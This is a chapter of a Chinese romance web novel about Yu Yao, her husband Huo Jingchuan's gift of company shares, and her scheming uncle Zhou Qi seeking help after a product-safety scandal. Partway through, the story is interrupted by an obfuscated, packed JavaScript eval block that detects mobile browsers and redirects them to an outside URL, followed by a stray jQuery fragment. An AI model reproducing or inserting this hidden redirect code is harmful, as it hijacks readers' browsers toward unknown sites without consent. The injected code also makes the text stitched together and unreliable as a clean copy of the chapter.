“再开慢一点。”霍景川在后座开口。
“好的。”司机老王看了一下码表上的数字,又松了松油门,然后将车子开向慢车道。
霍景川低头盯着被自己拢在手心的那只小手看。细白纤长,无名指上还戴着一枚巨大的蓝钻戒指。
他忽然觉得这枚戒指不够好看,切割太死板,净度不算高,产地不够好……怎么看怎么不顺眼,算了,下次再去买一套好了。
他又盯着郁杳的指尖,微微发红。他把手轻轻收紧又松开,心里惊叹怎么这么凉?
“空调再开高一点。”霍景川又说。
许是说话声导致胸腔震动吵到了肩上的郁杳,霍景川看着她皱眉蹭了蹭他的肩膀,一脸的不耐烦。
霍景川不敢再说话,几乎是下意识地抬起另一只手轻轻拍了拍郁杳的肩膀,哄着她继续睡,然后重新摆好姿势,让郁杳靠得更舒服。
金海宴会厅到铂瀚府半个小时的车程被拖到了快五十分钟,司机老王还特别绕了两段路才终于开到霍家别墅前。
“霍总,到了。”
霍景川松开手先下车,却又绕到另一侧打开了车门。他弯下腰靠近,正准备将郁杳抱下车,却没想到郁杳却睁开了眼。
郁杳迷迷糊糊睡得不安稳,刚睁开眼看见的就是霍景川近在咫尺的脸。她的神智还不清明,被这么近的距离吓了一跳,下意识往后缩了一下。
霍景川将这一动作看在了眼里,他收回本来准备抱郁杳的手,往后退了退。
他站在车外,突兀地将头转开,“醒了?下车吧。”
“好……”郁杳点头,她故作镇定地下车,然后跟在霍景川身后回家。
陈姨早早在一旁等着,先给郁杳拿了拖鞋,扶着她准备上楼换衣服。
上楼前,郁杳回身看着往花园走去的霍景川,咬了咬下唇,还是问:“先生不上楼休息吗?”
霍景川身上的西装都没有换,他一手插在口袋里,隔着客厅与郁杳对视,三秒后他回答:“嗯,我抽根烟。”
郁杳看着他的背影,胸腔里那颗猛烈跳动的心久久不能平静。
太近了,郁杳卸妆的时候,又想到刚刚一睁眼看到的霍景川的脸,近得她的睫毛差点就能触碰到他高挺的鼻梁。
郁杳红着脸,将手捂在胸口,试图让心跳恢复正常。
——
“多少?!”姜同喻差点喊出声,“百分之七?!你知道那得多少钱吗?”
郁杳立刻捂住姜同喻的嘴巴,看了看周围,幸好现在咖啡店里的人还不是很多,并没有人朝她们这边看过来。
“你小点声……”郁杳心虚地抿了口咖啡,“也……也还好吧。”
“那可是霍氏!”姜同喻压着嗓子尖叫,“你这样的下次都要去参加人家的股东大会了!霍景川怎么会这么大方啊?”
姜同喻不解,在她的认知里,像霍家这种顶级豪门,应该对公司股份看得比什么都重要,哪里像买菜送葱似的随随便便就给别人了。
郁杳也摇头,“我也不知道,我没想到他这么容易就答应了。”
郁杳自从那天以后,穿着打扮已经不再像之前那样揣测着霍景川的喜好,特意扮成温柔贤惠的样子。她今天穿了一件高领短款毛衣,下面是牛仔裤配小短靴,整个人时髦又靓丽。
姜同喻咬着吸管,满意地打量着对面的郁杳,这才是杳杳本来的样子啊!之前那种“小妈风”“好嫁风”的衣服,真的太难看了。
她隐约感觉到郁杳有些变了,但具体是哪里她又说不上来。
“那现在怎么办啊?”姜同喻问,“你还要和霍景川离婚吗?”
郁杳像是被问住,这些天她心里也是一团乱麻。霍景川说要和她慢慢来,意思应该是不想离婚的,想和她像真正的夫妻那样。他给的那些股份,更像是给郁杳的底气和保障,让她不完全是被动的那一方。
在这场她自以为是“各取所需”的婚姻里,她得到了股份、外公的公司注资、一段长期安稳的生活……而霍景川呢?霍景川又需要什么?
不仅如此,她一直提心吊胆的事情,其实霍景川早就知情,那他又为什么不说?为什么不来质问自己?为什么莫名其妙就选择站在她这边?
她有一瞬间的愣神,她脑海里突然闪过那天晚上霍景川被放大的深刻而又硬朗的五官,不过咫尺的距离,和自己一整晚乱了节奏的心跳……
“怎么了杳杳?你怎么不说话?”姜同喻见郁杳发呆,伸手在她眼前晃了晃,“想什么啊这么认真?”
郁杳兀自红了脸,言语结巴,又不好意思说出口,“没,没什么,想到一些事情罢了……”
“哦,这么看来霍景川其实人不错啊,你要是不讨厌他就继续跟他过呗。”姜同喻自顾自转开话题,她虽然和霍景川接触不多,但听郁杳这么说来,感觉他也不是什么难搞的人。
郁杳自己也没想好,索性走一步看一步吧,“再说吧。”
郁杳咖啡还没喝完,手机突然有电话进来,她拿起手机,在看见来电显示的时候不由得皱了眉。
姜同喻凑上前去看,“谁啊?”然后看见上面的名字,默默闭了嘴。
【周奇】
“舅舅。”郁杳点开手机接听,叫完人以后便不再说话。
姜同喻一边喝咖啡一边听着郁杳手机里的动静,自觉地保持安静。
那边好像客套了很久,姜同喻见郁杳的表情更加不耐烦,然后啧了一声冷冷开口,“到底有什么事?”
对面听见这个语气显然也是愣了一下,过了几秒后才又恢复语气,“没事,舅舅就想喊你晚上回来一起吃个饭。”
“不用。”郁杳当即拒绝。
“诶呀,都是一家人,爸走后我们两个都没见过面了……”周奇又说。
郁杳在听见他说起外公时,还是心尖酸了一下,片刻后她终于答应,“知道了。”
“诶!好好好!我到时候多做……”
郁杳直接挂了电话,刚刚还明媚的心情,此时立刻变得阴沉。
姜同喻观察着她的脸色,小心翼翼地问:“怎么啦?你舅舅找你有什么事啊?”
郁杳没好气地回道:“喊我回去吃饭,肯定没好事。”
另一边,周奇赔着的笑脸在被郁杳直接挂了电话后瞬间粉碎。
“妈的!真的无法无天,毫无教养!”周奇骂着脏话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940982|213920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一旁的妻子赶紧问他:“怎么样啊?郁杳答应了吗?”
周奇还在气头上,白了她一眼,“就你非让我喊她吃饭,没教养的白眼狼,你还能指望她?!”
“哎哟!到底答应没有?”白媛媛比他急,这周奇半天说不出个屁来。
“答应了答应了!烦死了!”
“那就好,那就好!我立刻去喊厨房准备晚上的菜!”
晚上,王福根将郁杳送到周奇家门口,在郁杳下车前恭敬说道:“太太吃完饭喊我就行,我就在这里等。”
郁杳点了点头,说了声“辛苦”。
郁杳刚下车,周奇夫妇立刻就迎了上来,她扫过二人脸上殷勤的笑,面无表情地避开对方想要触碰自己的手,一个人径直走向了屋内。
周奇在身后气得发晕,被妻子一把掐住让他忍忍,然后继续脸上堆着笑跟了进去。
郁杳其实很少来周奇家,她与舅舅的关系也并不好。她从小被外公养大,看着这个舅舅是如何不学无术,挥霍家产,将外公好几次都气进了医院。
当初外公刚刚去世,周奇就想着让公司走破产程序,分了钱走人。又在得知外公留给她的股份更多时,和郁杳险些撕破脸,骂她一个外姓人有什么资格来分周家的家产。
郁杳不客气地坐在单人沙发上,双手交叉环在胸前,表情高傲,眼神比寒冬更冷,“说吧,找我来到底什么事?”
周奇和白媛媛对视一眼,然后又笑着开口,“没事没事,就是喊你回家吃个饭,你看看做的都是你爱吃的。”
郁杳眼睛都没斜一下,她冷哼一声,她拎着包直接站起身,“不说的话我走了。”
“别别别!”白媛媛知道郁杳的性子,赶紧拦住了,然后又不好意思地笑了笑,“确实……有点事情想要麻烦你。”
郁杳冷眼看着她,她不喜欢舅舅,自然更讨厌这个舅妈。她知道光凭周奇一个人还不会这么败家,而这两个人凑在一起才是烂到了骨子里。
“什么事?”郁杳知道对方不到万不得已也不会想和自己联系的,她本来不想多问,但是又想起了外公的样子,看在外公的面子上,她还是想先问问清楚。
“就是……就是……”白媛媛支支吾吾,眼神一直在瞟周奇。
郁杳不耐烦,转过身面向周奇,“那你说,只有一次机会,我数到三,一、二……”
“我说我说!”周奇道,“其实是公司出了点麻烦……想要找你帮忙……”
“公司?”郁杳这下皱起了眉,“出什么事了?我能帮上什么忙?”她平时连公司都不会去,怎么周奇还会来找她?
“其实也不是什么大事,”白媛媛在一旁帮腔,“就是公司最近合作的一个原料商出了点小问题,想让你找霍景川帮帮忙……”
“对对对,毕竟你们是夫妻,一点点小忙而已,对他来说肯定不算什么的!”周奇道。
郁杳脸上神情越来越沉,如果是要找到霍景川帮忙,那看来周奇是捅了天大的篓子……
“叮咚——”
郁杳手机突然跳出一个新闻推送。
【华娱新闻速递:某老牌国货品牌暴雷,有毒成分导致数十名受害者过敏毁容!】